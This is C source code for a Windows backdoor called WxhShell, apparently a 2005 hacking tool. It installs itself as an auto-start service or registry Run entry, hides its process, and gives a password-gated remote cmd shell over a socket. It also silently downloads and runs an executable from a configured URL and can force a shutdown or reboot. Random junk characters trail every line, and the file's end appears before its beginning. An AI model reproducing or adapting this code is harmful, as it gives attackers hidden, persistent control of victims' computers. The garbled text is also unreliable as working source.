    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tp^'W7E  
    if(Boot(SHUTDOWN)) zNf5OItx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !v L :P2  
    else { {@$3bQ  
    closesocket(wsh); i?/?{p$#a-  
    ExitThread(0); X8x>oV;8  
    } ECzNByP  
    break; ;LE @Ezx  
    } jf/9]`Hf  
  // 获取shell k#) .E X  
  case 's': { &zcj U+n  
    CmdShell(wsh); Sh6Cw4 R  
    closesocket(wsh); Vgn1I(Gj4  
    ExitThread(0); ZRm\d3x4  
    break; 3p W MS&  
  } AZy2Pu56  
  // 退出 []0~9,u  
  case 'x': { :a@z53X@M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $SVGpEw  
    CloseIt(wsh); 2oG|l!C  
    break; " G6j UTt  
    } 8w[EyVHA  
  // 离开 9Ol_z\5  
  case 'q': { CM1a<bV<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `=DCX%Vw  
    closesocket(wsh); 8|NJ(D-$  
    WSACleanup(); "%t`I)  
    exit(1); p&mtKLv  
    break; 8Jj0-4]  
        } 3]es$Jy  
  } ]?`p_G3O  
  } ~{G: ,|`  
c.Z4f 7  
  // 提示信息 S\;.nAR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$t,}3  
} am+mXb  
  } veg!mY2&  
/$,=>  
  return; Z<<gz[$+p  
} f {Z%:H  
!F#aodM1N  
// shell模块句柄 qjzW9yV+  
int CmdShell(SOCKET sock) wP0+Xv,  
{ c@7hLUaE2  
STARTUPINFO si; O f@#VZ  
ZeroMemory(&si,sizeof(si)); {dXBXC/Ju  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '\B"g@if  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]G PJ(+5  
PROCESS_INFORMATION ProcessInfo; otD?J= B  
char cmdline[]="cmd"; *yq]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E2H<{Q   
  return 0; WcO,4:  
} _j\=FJz[  
bXwoJ2  
// 自身启动模式 ]=VS~azZ5  
int StartFromService(void) ?}v%JUcs  
{ >TnQ4^;v.  
typedef struct kseJm+Hc  
{ _I-VWDCk  
  DWORD ExitStatus; \nAHpF  
  DWORD PebBaseAddress; qK vr*xlC  
  DWORD AffinityMask; _JTxm>  
  DWORD BasePriority; uo'31V0  
  ULONG UniqueProcessId; S5u#g`I]  
  ULONG InheritedFromUniqueProcessId; poYAiq_3T  
}   PROCESS_BASIC_INFORMATION; S/<"RfVU#o  
hdJwNmEA>  
PROCNTQSIP NtQueryInformationProcess; 'F"Y?y:!  
RrdtU7i3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L"!ZY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "Lq|66  
cgxF Ev  
  HANDLE             hProcess; auTTvJ  
  PROCESS_BASIC_INFORMATION pbi; 'Rd*X6dv  
@@3,+7%1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w1@b5-  
  if(NULL == hInst ) return 0; #lshN,CPm  
6mpg&'>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oXlxPN39  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _ c ]3nzIr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0O,T=z[+>  
oA;Ty7s  
  if (!NtQueryInformationProcess) return 0; ^h6$> n5  
W({TC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6$fnQcpJ  
  if(!hProcess) return 0; wYO"znd  
}i7U}T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !H|82:`t+  
Ryba[Fz4Di  
  CloseHandle(hProcess); 3 E!<p  
"R2t&X[9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DxKfWb5 R  
if(hProcess==NULL) return 0; .d~]e2x  
V l~Y  
HMODULE hMod; C7 ]DJn  
char procName[255]; d9-mWz(V+  
unsigned long cbNeeded; '*N9"C  
l P$r   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8\)U|/A7  
7XVzd]jH  
  CloseHandle(hProcess); ocl47)  
yI.}3y{^5  
if(strstr(procName,"services")) return 1; // 以服务启动 nJ*mEB  
'`]n_$f'  
  return 0; // 注册表启动 H/Ec^Lc+_  
} Awa|rIM  
|v$%V#Bo  
// 主模块 \YlF>{LVe  
int StartWxhshell(LPSTR lpCmdLine) -M:hlwha  
{ q]N?@l]  
  SOCKET wsl; }>;ht5/i/  
BOOL val=TRUE; wHOlj)CZ  
  int port=0; o\]: !#r{T  
  struct sockaddr_in door; HLSfoQ&)v  
juCG?}di;  
  if(wscfg.ws_autoins) Install(); Dpdn%8+Z  
<cDKGd  
port=atoi(lpCmdLine); C](z#c~c  
i'Y'HI  
if(port<=0) port=wscfg.ws_port; g>!:U6K  
k~1j/VHv  
  WSADATA data; oT|P1t.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p`ADro*  
S?Bc~y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lP@)   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (~ ]g,*+  
  door.sin_family = AF_INET; 5"kx}f2$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S~k 0@  
  door.sin_port = htons(port); nrTv=*tDj  
9P7xoXJ@y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "B9[cDM&  
closesocket(wsl); &N"'7bK6n  
return 1; jB%"AvIX  
} 0Oc}rRH(C  
>lraYMc<rZ  
  if(listen(wsl,2) == INVALID_SOCKET) { ` y^zM/Ib  
closesocket(wsl); _oJ2]f6KX  
return 1; Dh&:-  
} ,G[r+4|h  
  Wxhshell(wsl); c{mKra  
  WSACleanup(); >P\h,1  
A,m4WO_q3  
return 0; DHm[8 Qp  
~JwpNJs  
} ~*7O(8  
Jt2,LL:G  
// 以NT服务方式启动 /lLov.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vl{~@G,@  
{ t{R5 EU  
DWORD   status = 0; +X:J]- 1)  
  DWORD   specificError = 0xfffffff; "[jhaUAK  
6_R\l@a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _/,SZ-C#L4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v)@,:u)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <I7(eh6d  
  serviceStatus.dwWin32ExitCode     = 0; {H=oxa  
  serviceStatus.dwServiceSpecificExitCode = 0; IjG5X[@  
  serviceStatus.dwCheckPoint       = 0; /~i.\^HX  
  serviceStatus.dwWaitHint       = 0; Gr5`1`8|  
~@T+mHny  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X0y?<G1( a  
  if (hServiceStatusHandle==0) return; i>Z|6 5  
[ 8F \;  
status = GetLastError(); LkJ$aW/  
  if (status!=NO_ERROR) T&1-eq>l  
{ {q&@nm40  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @J-plJ4e  
    serviceStatus.dwCheckPoint       = 0; ug^om{e-  
    serviceStatus.dwWaitHint       = 0; `OKo=e~,  
    serviceStatus.dwWin32ExitCode     = status; 5%<TF .;-J  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7$(_j<o`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'FShNY5  
    return; t|;%DA)fjw  
  } YXF#c)#  
6xQ"bFm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B/jrYT$;m  
  serviceStatus.dwCheckPoint       = 0; Ln ~4mN^  
  serviceStatus.dwWaitHint       = 0; <1aa~duT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uuu\f*<  
} IWAj Mwo  
X_D6eYF  
// 处理NT服务事件,比如:启动、停止 >9-Dd)<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C/F@ ]_y  
{ 3YR* ^  
switch(fdwControl) Uh|TDuM  
{ ]{YN{  
case SERVICE_CONTROL_STOP: C@%iQ]=  
  serviceStatus.dwWin32ExitCode = 0; jEUx q%BH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B-!guf rnY  
  serviceStatus.dwCheckPoint   = 0; Q>kiVvc  
  serviceStatus.dwWaitHint     = 0; saatU;V  
  { aSRjFL^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^~^mR#<P$  
  } %VzYqj_P"  
  return; \WWG>OUh.U  
case SERVICE_CONTROL_PAUSE: z4CJn[m9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BSN6|W  
  break; aT&t_^[]   
case SERVICE_CONTROL_CONTINUE: GF&_~48GD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f[x~)=  
  break; V {p*z  
case SERVICE_CONTROL_INTERROGATE: x@h tx?   
  break; .+OB!'dDK^  
}; eaEbH2J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W+KF2(lB  
} bn$)f6%  
Gc wt7~  
// 标准应用程序主函数 ]*0(-@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 19'5Re&  
{ _0K.Fk*(!  
f6Ml[!aU  
// 获取操作系统版本 =tq1ogE  
OsIsNt=GetOsVer(); ThtMRB)9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6_WmCtvF  
Z%#^xCz;w>  
  // 从命令行安装 |7y6 pz  
  if(strpbrk(lpCmdLine,"iI")) Install(); {t&*>ma6)  
d [r-k 2  
  // 下载执行文件 J<rlz5':  
if(wscfg.ws_downexe) { :i.t)ES  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wj&nUp{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?b56AE  
} p+$+MeBz  
&Y+e=1a+  
if(!OsIsNt) { QCWf.@n  
// 如果时win9x,隐藏进程并且设置为注册表启动  7SaiS_{:  
HideProc(); WVOoHH  
StartWxhshell(lpCmdLine); 0Q7MM6  
} sdrWOq  
else rS4%$p"  
  if(StartFromService()) (Ux [[  
  // 以服务方式启动 [,rn3CA  
  StartServiceCtrlDispatcher(DispatchTable); (Izf L1  
else ?IILt=)<  
  // 普通方式启动 iUTU*El>  
  StartWxhshell(lpCmdLine); f~q4{  
L"^OdpOs  
return 0; k=`$6(>Fz  
} s"WBw'_<<  
$C u R}g  
6x/s|RWL1  
}-74 f  
=========================================== 9mDn KW  
"Kq>#I'%W  
0'`S,  
6lsEGe  
`"c'z;  
`;$h'eI9  
" ->h5T%sn  
"TNVD"RLY  
#include <stdio.h> QXs8:;T  
#include <string.h> q6R Eh;$  
#include <windows.h> FIS "Z(  
#include <winsock2.h> 6T_K9  
#include <winsvc.h> 6Cv.5V hx  
#include <urlmon.h> IB8gDP2  
;}K62LSR  
#pragma comment (lib, "Ws2_32.lib") <UT>PCNG  
#pragma comment (lib, "urlmon.lib") B$?^wo  
>'b=YlUL  
#define MAX_USER   100 // 最大客户端连接数 {jW%P="z$"  
#define BUF_SOCK   200 // sock buffer Bd&`Xfebj  
#define KEY_BUFF   255 // 输入 buffer {~'H  
gfN2/TDC]P  
#define REBOOT     0   // 重启 epkD*7  
#define SHUTDOWN   1   // 关机 w#9_eq|3  
n'M>xq_  
#define DEF_PORT   5000 // 监听端口 8Q=ZH=SQK  
wt?o 7R2  
#define REG_LEN     16   // 注册表键长度 D:9 2\l  
#define SVC_LEN     80   // NT服务名长度 Q+'nw9:;T  
UV@0gdy[  
// 从dll定义API G?xJv`"9iC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bd# TUy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |55dbL$w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JNi=`X&A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "}zt`3  
+rc SL8C  
// wxhshell配置信息 Q|c|2byb  
struct WSCFG { i%F<AY\O)  
  int ws_port;         // 监听端口 Z!_n_F k  
  char ws_passstr[REG_LEN]; // 口令 n Q-mmY>#  
  int ws_autoins;       // 安装标记, 1=yes 0=no R,,Qt TGB  
  char ws_regname[REG_LEN]; // 注册表键名 (`c G  
  char ws_svcname[REG_LEN]; // 服务名 :h*a rT4{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jzex]_:1~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3{ "O,h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .3X Y&6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A gWPa.'3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +qy6d7^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U\vY/6;JI  
` >U?v  
}; cG_Vc[  
q.W>4 k  
// default Wxhshell configuration p$XKlg&  
struct WSCFG wscfg={DEF_PORT, a <wL#Id  
    "xuhuanlingzhe", {v,)G)obWw  
    1, %\6Q .V#s  
    "Wxhshell", *yez:qnx  
    "Wxhshell", 9]7u _  
            "WxhShell Service", t)a;/scT  
    "Wrsky Windows CmdShell Service", WU)Ss`s \  
    "Please Input Your Password: ", gKi{Y1  
  1, d1G8*YO@  
  "http://www.wrsky.com/wxhshell.exe", ^RNOcM|  
  "Wxhshell.exe" S|AjL Ng#  
    }; kO_5|6  
L l}yJ#3,  
// 消息定义模块 K 1W].(-@4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !20X sO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bp_wnd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?obm7<  
char *msg_ws_ext="\n\rExit."; G5Ykbw#  
char *msg_ws_end="\n\rQuit."; bRsTBp;R`I  
char *msg_ws_boot="\n\rReboot..."; OfZN|S+~W  
char *msg_ws_poff="\n\rShutdown..."; -6C +LbV  
char *msg_ws_down="\n\rSave to "; r,NgG!zq<  
6N" l{!  
char *msg_ws_err="\n\rErr!"; ~x]9SXD%  
char *msg_ws_ok="\n\rOK!"; Dl,`\b@Fw3  
2*1ft>Uty  
char ExeFile[MAX_PATH]; 7x k|+!  
int nUser = 0; RUo9eQIPD  
HANDLE handles[MAX_USER]; -LWK*q[J;*  
int OsIsNt; +B"0{>n}F  
;rR/5d1!  
SERVICE_STATUS       serviceStatus; $NG++N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mvcfk$pA  
ar ^i|`D  
// 函数声明 Or+p%K}-7  
int Install(void); s\3q!A?S3  
int Uninstall(void); &JhX +'U  
int DownloadFile(char *sURL, SOCKET wsh); cUk*C  
int Boot(int flag); \?lz&<  
void HideProc(void); 5v _P Oq  
int GetOsVer(void); $>q@SJ1q  
int Wxhshell(SOCKET wsl); !#N\ b  
void TalkWithClient(void *cs); N#k61x  
int CmdShell(SOCKET sock); r{K;|'d%h  
int StartFromService(void); (f#b7O-Wn  
int StartWxhshell(LPSTR lpCmdLine); =RsXI&&vh  
8@\7&C(g17  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Bx./t><  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]A+o>#n}x  
Es4qPB`g.  
// 数据结构和表定义 lpm JLH.F  
SERVICE_TABLE_ENTRY DispatchTable[] = ] d?x$>  
{ 55DE\<r  
{wscfg.ws_svcname, NTServiceMain}, yVJ%+d:6  
{NULL, NULL} #R&H &1  
}; 4N>>+]MWc  
K8[DZ)rO;Z  
// 自我安装 1hmc,c  
int Install(void) )!W45"l-3M  
{ (z7+|JE.  
  char svExeFile[MAX_PATH]; B[o`k]]  
  HKEY key; kOrl\_!z3  
  strcpy(svExeFile,ExeFile); !0}\&<8/m  
WO*9+\[v  
// 如果是win9x系统,修改注册表设为自启动 LKF/u` 0dP  
if(!OsIsNt) { ^J/)6/TMXm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zI;0&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WF2-$`x  
  RegCloseKey(key); ~r*P]*51x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jjm|9|C,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nsuX*C7  
  RegCloseKey(key); n1v5Q2xw  
  return 0; g@ith&*=h  
    } [(mlv42"  
  } nE W31 8  
} sRhKlUJG  
else { *_-'/i  
j`>^1Q  
// 如果是NT以上系统,安装为系统服务 Y%aWK~O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rZ03x\2  
if (schSCManager!=0) -ysn&d\rV  
{ 7jG(<!,  
  SC_HANDLE schService = CreateService ROb\Rx m  
  ( 19U]2D/z  
  schSCManager, !{%:qQiA  
  wscfg.ws_svcname, UQ?%|y*Kc  
  wscfg.ws_svcdisp, Xrqx\X  
  SERVICE_ALL_ACCESS, A[N{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0 p uY"[c  
  SERVICE_AUTO_START, j<yiNHC  
  SERVICE_ERROR_NORMAL, P 7D!6q  
  svExeFile, F7}-!  
  NULL, _e<o7Y@_  
  NULL, T6BFX0$  
  NULL, A#y@`} ]!'  
  NULL, r,(Mu  
  NULL Y3U9:VB  
  ); +cu^%CXT  
  if (schService!=0) k!L@GQ  
  { Fke//- R  
  CloseServiceHandle(schService); 6" B%)0  
  CloseServiceHandle(schSCManager); 5<YzalNf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !nf-}z e{  
  strcat(svExeFile,wscfg.ws_svcname); t+Bf#:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8?FueAM'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GZ#aj|  
  RegCloseKey(key); ]$iqa"{  
  return 0; 3lxc4@Zmd  
    } L"+$Wc[|  
  } 2f:^S/.A  
  CloseServiceHandle(schSCManager); evuZY X@  
} BOVPKX  
} Q[4: xkU  
XP?rOOn  
return 1; ssQ BSbx  
} 2\<.0  
p s|)cW3`  
// 自我卸载 kGYTl,A{  
int Uninstall(void) tln37vq  
{ 5]Ajf;W\  
  HKEY key; }FqA ppr  
P5 <vf  
if(!OsIsNt) { aoW6U{\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <yUstz,Xu^  
  RegDeleteValue(key,wscfg.ws_regname); v $({C  
  RegCloseKey(key); KA s1(oG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  >]D4Q<TY  
  RegDeleteValue(key,wscfg.ws_regname); @* ust>7  
  RegCloseKey(key); e /K#>,  
  return 0; GIwh@4;  
  } 8(U{2B8>\%  
} ;3'NMk  
} %3Z/+uT@v]  
else { d9^E.8p$  
| bv,2uWz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bCv{1]RC2  
if (schSCManager!=0) E2wz(,@  
{ "y?\Dx   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W&Y"K)`  
  if (schService!=0) VyLH"cCv  
  { eDKxn8+(H  
  if(DeleteService(schService)!=0) { /B3R1kNf|  
  CloseServiceHandle(schService); ^C)n$L>C0  
  CloseServiceHandle(schSCManager); 32)tJ|m  
  return 0; QCOo  
  } ^rNUAj9Z  
  CloseServiceHandle(schService); p*QKK@C  
  } .d<W`%[  
  CloseServiceHandle(schSCManager); S56]?M|[  
} "\%On >  
} %r{3wH# D@  
7*o*6,/  
return 1; L:nXWz  
} #s-iy+/1oN  
Y-!YhWsS  
// 从指定url下载文件 :a[Ihqfg  
int DownloadFile(char *sURL, SOCKET wsh) tA.`k;LT  
{ L71!J0@a#  
  HRESULT hr; nSx8E7 |V  
char seps[]= "/";  (t^n'V  
char *token; El_Qk[X|A  
char *file; [IZM.r`Z  
char myURL[MAX_PATH]; x[_=#8~.1x  
char myFILE[MAX_PATH]; |s+0~$O;  
s54nF\3V  
strcpy(myURL,sURL); UPU+ver  
  token=strtok(myURL,seps); 2 !1.E5.I  
  while(token!=NULL) Rfb?f} j  
  { hS [SRa'.  
    file=token; #Il_J\#  
  token=strtok(NULL,seps); ;!>Wz9  
  } Xf'=+f2p  
`(y(w-:W1  
GetCurrentDirectory(MAX_PATH,myFILE); p&p.Q^"ok  
strcat(myFILE, "\\");  gJN0!N'  
strcat(myFILE, file); {^)70Vz>PE  
  send(wsh,myFILE,strlen(myFILE),0); Pn.bVV:  
send(wsh,"...",3,0); TA18 gq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LwqC ~N  
  if(hr==S_OK) 1 k8x%5p  
return 0; Pz_Oe,{.I  
else /lhz],w  
return 1; }Rvm &?~O  
sfT+i;p  
} ,:n| ?7  
yY{kG2b,  
// 系统电源模块 @r^!{  
int Boot(int flag) q}|U4MJm  
{ M+>`sj  
  HANDLE hToken; Oft arD  
  TOKEN_PRIVILEGES tkp; +ZsX*/TOn  
Z$KLl((  
  if(OsIsNt) { -!M,75nU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g:ErZ;[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6SM:x]`##,  
    tkp.PrivilegeCount = 1; AbwbAm+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +YY8h>hj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zR6siAV9  
if(flag==REBOOT) { qZk'tRv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hi2sec|;<  
  return 0; klOp ^w  
} rnFM/GAy  
else { kfb/n)b'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %u\26[/  
  return 0; _o6G6e,  
} & -l8n^  
  } |[xi/Q^7  
  else { BG`s6aC|z<  
if(flag==REBOOT) { 0 >Z ;Ni  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ] f>]n  
  return 0; \{\MxXW  
} hn)a@  
else { . 9G<y 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XE3aXK'R  
  return 0; {QaNAR=)  
} P,pnga3Wu  
} H!IshZfktn  
2C^B_FUg|]  
return 1; .lG5=Th!  
} PaB!,<A  
*4Fr&^M\  
// win9x进程隐藏模块 -4#2/GXNO  
void HideProc(void)  l]!9$  
{ SS|z*h Z  
;oO v/3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }u{gR:lZ  
  if ( hKernel != NULL ) gY AF'?  
  { \,UZX&ip  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .aOnGp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {i~8 :  
    FreeLibrary(hKernel); )vB2!H/  
  } y %8op:'  
H5>hx {  
return; / jTT5  
} :6kjEI  
Oc?+M 5  
// 获取操作系统版本 &p UZDjo?  
int GetOsVer(void) q6P wZ_  
{ hIv@i\`  
  OSVERSIONINFO winfo; ( n{wg(R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pI[ZBoR~  
  GetVersionEx(&winfo); \kam cA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )U<Y0bZA!  
  return 1; )u ?' ;  
  else O%!5<8Xrb  
  return 0; 1t[j"CG(o  
} :VmHfOO  
kdx y\ jA  
// 客户端句柄模块 2 +5e0/_V  
int Wxhshell(SOCKET wsl) ZUXr!v/R:1  
{ #%3rTU  
  SOCKET wsh; W1aa:hEf  
  struct sockaddr_in client; qf)$$qi  
  DWORD myID; vC;]jJb:  
'BMy8  
  while(nUser<MAX_USER) %WFu<^jm  
{ S*)1|~pRvQ  
  int nSize=sizeof(client); n}-3o]ku  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ok-.}q>\Mv  
  if(wsh==INVALID_SOCKET) return 1; >?W[PQ5yx  
&Bb<4R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @+,pN6}g  
if(handles[nUser]==0) L];y}]:F*  
  closesocket(wsh); 'WyTI^K9  
else [|`U6 8}u  
  nUser++; -_VG;$,jE  
  } }f>H\iJe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); + bhym+  
vdoZ&Tu  
  return 0; @MR?6n*k  
} !hxIlVd{  
X*oMFQgP  
// 关闭 socket *DI)?  
void CloseIt(SOCKET wsh) v`q\6i[-  
{ Ma-\^S=  
closesocket(wsh); $.St ej1  
nUser--; eDO!^.<5  
ExitThread(0); eEc4bVQa  
} 1[nG}  
]Al;l*yw  
// 客户端请求句柄 w*j$uW6{  
void TalkWithClient(void *cs) >ndJNinV  
{ '8FC<=+p[  
}S_oH9A  
  SOCKET wsh=(SOCKET)cs; w[Gh+L30=5  
  char pwd[SVC_LEN]; 72oWhX=M%  
  char cmd[KEY_BUFF]; s0UFym 8  
char chr[1]; qd@&59zSh  
int i,j; )4Q?aMm  
o;F" {RZ  
  while (nUser < MAX_USER) { a5'#j35  
|Yi)"-  
if(wscfg.ws_passstr) { Jhkvd<L8`m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Fnx`Ri  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J<j&;:IRd  
  //ZeroMemory(pwd,KEY_BUFF); dpZ;l 9  
      i=0; 9$K;Raz%  
  while(i<SVC_LEN) { ?0*8R K  
9|' B9C  
  // 设置超时 *mG`_9  
  fd_set FdRead; Z5G!ct:W  
  struct timeval TimeOut; kQdt}o])  
  FD_ZERO(&FdRead); wz8PtfZ  
  FD_SET(wsh,&FdRead); }$su4A@0  
  TimeOut.tv_sec=8; OV CR0  
  TimeOut.tv_usec=0; 3cl9wWlJ_E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1pp -=$k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WUdKLx %F  
e= P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "HMP$)d  
  pwd=chr[0]; G*[P <<je_  
  if(chr[0]==0xd || chr[0]==0xa) { sE(HZR1  
  pwd=0; 8Ad606  
  break; 4NVV5_K a  
  } dm rps+L  
  i++; `A%^UCd  
    } 9e!NOl\_;.  
5@osnf?  
  // 如果是非法用户,关闭 socket {WN(&eax  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [ANuBNF  
} 46jh-4) <  
{xcZ*m!B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7;`o( [N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D8K-K]W@  
> Vb@[  
while(1) { dHnR_.  
6" T['6:j  
  ZeroMemory(cmd,KEY_BUFF); k ^'f[|}  
M s9E@E  
      // 自动支持客户端 telnet标准   qgt[~i*  
  j=0; 3{Nbp  
  while(j<KEY_BUFF) { %rQuBi# 1f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `\>.h  
  cmd[j]=chr[0]; +y+"Fyl  
  if(chr[0]==0xa || chr[0]==0xd) { xk~IN%\  
  cmd[j]=0; &tR(n$ M@>  
  break; jP vDFT^d/  
  } 0:Xxl76v4  
  j++; n7aU<`U  
    } \b8sG"G  
!#ri5{od  
  // 下载文件 =Yo1v=wxN  
  if(strstr(cmd,"http://")) { eS/B24;*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tU wRE|_  
  if(DownloadFile(cmd,wsh)) G>qZxy`c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EC&@I+'8Q  
  else ;|%dY{L-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 89}Y5#W  
